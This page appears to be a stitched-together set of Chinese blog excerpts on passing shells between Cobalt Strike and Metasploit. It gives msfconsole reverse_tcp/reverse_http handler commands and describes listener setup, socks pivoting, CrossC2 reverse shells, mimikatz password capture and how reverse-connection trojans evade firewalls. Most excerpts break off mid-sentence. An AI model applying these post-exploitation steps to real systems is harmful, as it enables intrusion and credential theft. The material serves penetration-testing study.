CS与MSF联动/shell互相反弹

环境：kali（192.168.190.128）NATAPP。

转载自Snowming04’s Blog 0x01 准备工作 受害主机：在关闭 Windows Defender 和其他一切杀软的前提下，在 Win 10 主机下进行的实验。 MSF：本地 kali Cobalt Strike 团队服务器：Ubuntu VPS Cobalt Strike：3.14 团队服务器： 客户端： 上线过程： 因为我关闭了一切杀软及 Windows Defender，自不必做免杀。 一些朋友搞不清楚 Windows Executable 和 Windows Exec.

cs和msf联动

首先咋们需要准备两台kali，一台win10靶机咋们利用kali1打开cs，利用kali2打开msf进行联动；在cs上建立一个监听，名字随便起，这里我起名为test，ip输入kali1的；生成一段payload，并在win10靶机上线（在win10点击生成的payload即可）然后在kali2启动msf，使用监听模块命令：msfconsole //进入msf控制台use exploit/multi/handler //进入监听模块。

CS（Cobalt Strike）和MSF（Metasploit Framework）是两种常用的渗透测试工具，用于测试网络安全并获取权限。此外，mimikatz是一款功能强大的工具，可以用于抓取Windows系统中的明文密码。通过修改注册表和等待目标系统管理员重新登录，可以使得明文口令在lsass进程中保存。这样一旦管理员重新登录，mimikatz就可以成功地抓取到明文密码。这些工具在渗透测试和网络安全领域中具有重要的作用。

cobalt strike（简称CS）及Metasploit（简称msf）各有所长，cs更适合作为稳控平台，msf更适用于与各类内网信息搜集及漏洞利用。为了取各家之所长，我们进行联动。 获得beacon shell，启动socks shell ipconfig 目标机器在24.*网段，仅一个网段 思路：利用 beacon shell 在目标机器和团队服 务器之间建立 socks，而后再在本地利用proxychains 之类的工具连到目标内网即可。 查看团队服务器 socks 端口启起来了没有：netst

CS&MSF联动 CS联动MSF 现在CS这边已经成功上线一台主机，需要将这个会话传入MSF CS这边新建一个监听器 然后打开MSF use exploit/multi/handler set payload windows/meterpreter/reverse_http #需要设置成CS一样的payload set lhost 192.168.109.128 set lport 5566 #需要设置成跟CS一样的端口 然后CS这边选择增加会话 然后指定生成的msf监听器即可 可以看

CS + MSF 联动 首先cs上已经成功上线： Kali查看IP地址： Msf上操作： use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.198.128 set lport 7777 exploit -j #-j 后台监听（ps：这里手抖少打了一个7） 如果msf处于公网，cs添加监听器Listener，HOST和PORT填写msf监听的地址IP:xxxx，PORT:7777

在日常渗透测试或者是你偷偷干坏事的时候，可能会发现，CS确实是一个强大的后渗透工具，但是奈何CS很多关于漏洞的功能都是只能检测，但是不能攻击，所以需要CS与MSF互相联动起来，这里我就利用一个永恒之蓝漏洞来。

一、当cs获取到会话后反弹给msf 1、msf上操作 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.52.208 set lport 7777 exploit -j #-j 后台监听 2、CS上操作 首先有一个已经建立会话的shell，然后添加监听器Listener，HOST和PORT填写msf监听的地址IP:x.x.x.x,PORT:7777 配置内网穿透 如果msf主机处于

目录环境准备CS ——> MSFubuntu准备cs客户机器准备msf准备补充MSF ——> CSMSF准备ubuntu-cs准备 网上的文章，写的很简介，看的脑壳疼，自己动手，详实的记录一下学习过程 环境准备 我使用两台vps，一台是kali 52.69.164.3，一台是ubuntu 52.194.218.196​ kali使用msf，ubuntu使用cs服务器，物理机使用cs客户端，虚拟机win7是受害者 CS ——> MSF 简单来说，就是当cs拿到一台主机之后，新增一个用于转发

Colbalt Strike（简称CS）及MetaSploit（简称MSF）各有所长，cs更适合作为稳控平台，msf更适用于各类内网信息搜集及漏洞利用。为了取各家之所长，可以进行联动。

利用CrossC2插件工具，将Linux系统的shell反弹回Cobalt_Strike，方便后续的内网渗透。用CrossC2来反弹Linux主机shell给内网渗透工具Cobalt Strike(cs)。

作为C2工具，MSF和CS各有千秋，CS有着多种强大的自定义插件和易操作的图形化界面，而MSF集成了针对各类系统的Payload攻击代码，为了针对性的进行攻击，我们有时候会需要将MSF的会话转发到CS，或者相反。

反弹端口型木马分析了防火墙的特性后发现：防火墙对于连入的链接往往会进行非常严格的过滤，但是对于连出的链接却疏于防范。于是，与一般的木马相反，反弹端口型木马的服务端（被控制端）使用主动端口，客户端（控制端）使用被动端口，木马定时监测控制端的存在，发现控制端上线立即弹出端口主动连结控制端打开的主动端口，为了隐蔽起见，控制端的被动端口一般开在80，这样，即使用户使用端口扫描软件检查自己的端...